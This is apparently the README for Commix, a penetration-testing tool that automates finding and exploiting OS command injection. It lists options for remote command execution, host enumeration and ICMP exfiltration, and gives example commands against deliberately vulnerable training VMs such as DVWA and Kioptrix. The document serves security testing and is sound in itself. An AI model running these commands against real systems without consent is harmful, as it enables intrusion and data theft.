Commix – An Command Injection Exploiter To Test And Find Web Application Bugs

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  \/____/\/___/  \/_/\/_/\/_/\/_/\/_/\/_/\/_/\//\/_/ { v0.1b }

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Automated All-in-One OS Command Injection and Exploitation Tool
Copyright (c) 2015 Anastasios Stasinopoulos (@ancst)
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General Information

Commix (short for [comm]and [i]njection e[x]ploiter) has a simple environment and it can be used, from web developers, penetration testers or even security researchers to test web applications with the view to find bugs, errors or vulnerabilities related to command injection attacks. By using this tool, it is very easy to find and exploit a command injection vulnerability in a certain vulnerable parameter or string. Commix is written in Python programming language.

Disclaimer

The tool is only for testing and academic purposes and can only be used where strict consent has been given. Do not use it for illegal purposes!!

Requirements

Python version 2.6.x or 2.7.x is required for running this program.

Installation

Commix comes pre-installed on the following Linux distributions:

• BlackArch

Download commix by cloning the Git repository:

git clone https://github.com/stasinopoulos/commix.git commix

Usage

Usage: python commix.py [options]

Options

-h, --help            Show help and exit.
--verbose             Enable the verbose mode.
--install             Install 'commix' to your system.
--version             Show version number and exit.
--update              Check for updates (apply if any) and exit.

Target

This options has to be provided, to define the target URL.

--url=URL           Target URL
--url-reload        Reload target URL after command execution.

Request

These options can be used, to specify how to connect to the target
URL.

--host=HOST         HTTP Host header.
--referer=REFERER   HTTP Referer header.
--user-agent=AGENT  HTTP User-Agent header.
--cookie=COOKIE     HTTP Cookie header.
--random-agent      Use a randomly selected HTTP User-Agent header.
--headers=HEADERS   Extra headers (e.g. 'Header1:Value1\nHeader2:Value2').
--proxy=PROXY       Use a HTTP proxy (e.g. '127.0.0.1:8080').
--auth-url=AUTH_..  Login panel URL.
--auth-data=AUTH..  Login parameters and data.
--auth-cred=AUTH..  HTTP Basic Authentication credentials (e.g.
                    'admin:admin').

Enumeration

These options can be used, to enumerate the target host.

--current-user  Retrieve current user.
--hostname      Retrieve server hostname.
--is-root       Check if the current user have root privs.
--sys-info      Retrieve system information.

Injection

These options can be used, to specify which parameters to inject and
to provide custom injection payloads.

--data=DATA         POST data to inject (use 'INJECT_HERE' tag to specify
                    the testable parameter).
--suffix=SUFFIX     Injection payload suffix string.
--prefix=PREFIX     Injection payload prefix string.
--technique=TECH    Specify a certain injection technique : 'classic',
                    'eval-based', 'time-based' or 'file-based'.
--maxlen=MAXLEN     The length of the output on time-based technique
                    (Default: 10000 chars).
--delay=DELAY       Set Time-delay for time-based and file-based
                    techniques (Default: 1 sec).
--base64            Use Base64 (enc)/(de)code trick to prevent false-
                    positive results.
--tmp-path=TMP_P..  Set remote absolute path of temporary files directory.
--root-dir=SRV_R..  Set remote absolute path of web server's root
                    directory (Default: /var/www/).
--icmp-exfil=IP_..  Use the ICMP exfiltration technique (e.g.
                    'ip_src=192.168.178.1,ip_dst=192.168.178.3').
--alter-shell       Use an alternative os-shell (Python). Available only
                    for 'tempfile-based' injections.
--os-shell=OS_SH..  Execute a single operating system command.

Usage Examples

Exploiting Damn Vulnerable Web App:

python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=INJECT_HERE&submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"

Exploiting php-Charts 1.0 using injection payload suffix & prefix string:

python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE" --prefix="'" --suffix="//"

Exploiting OWASP Mutillidae using extra headers and HTTP proxy:

python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=INJECT_HERE" --headers="Accept-Language:fr\nETag:123\n" --proxy="127.0.0.1:8081"

Exploiting Persistence using ICMP exfiltration technique :

su -c "python commix.py --url="http://192.168.178.8/debug.php" --data="addr=127.0.0.1" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8""

Exploiting Kioptrix: 2014 (#5) using custom user-agent and specified injection technique:

python commix.py --url="http://192.168.178.6:8080/phptax/drawimage.php?pfilez=INJECT_HERE&pdf=make" --user-agent="Mozilla/4.0 Mozilla4_browser" --technique="file-based" --root-dir="/"

Command injection testbeds

A collection of pwnable VMs, that includes web apps vulnerable to command injections.

• Damn Vulnerable Web App
• OWASP: Mutillidae
• bWAPP: bee-box (v1.6)
• Persistence
• Pentester Lab: Web For Pentester
• Pentester Academy: Command Injection ISO: 1
• SpiderLabs: MCIR (ShelLOL)
• Kioptrix: 2014 (#5)
• w3af-moth
• […]

Exploitation Demos

• Exploiting DVWA
• Exploiting bWAPP

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More information can be found at: https://github.com/stasinopoulos/commix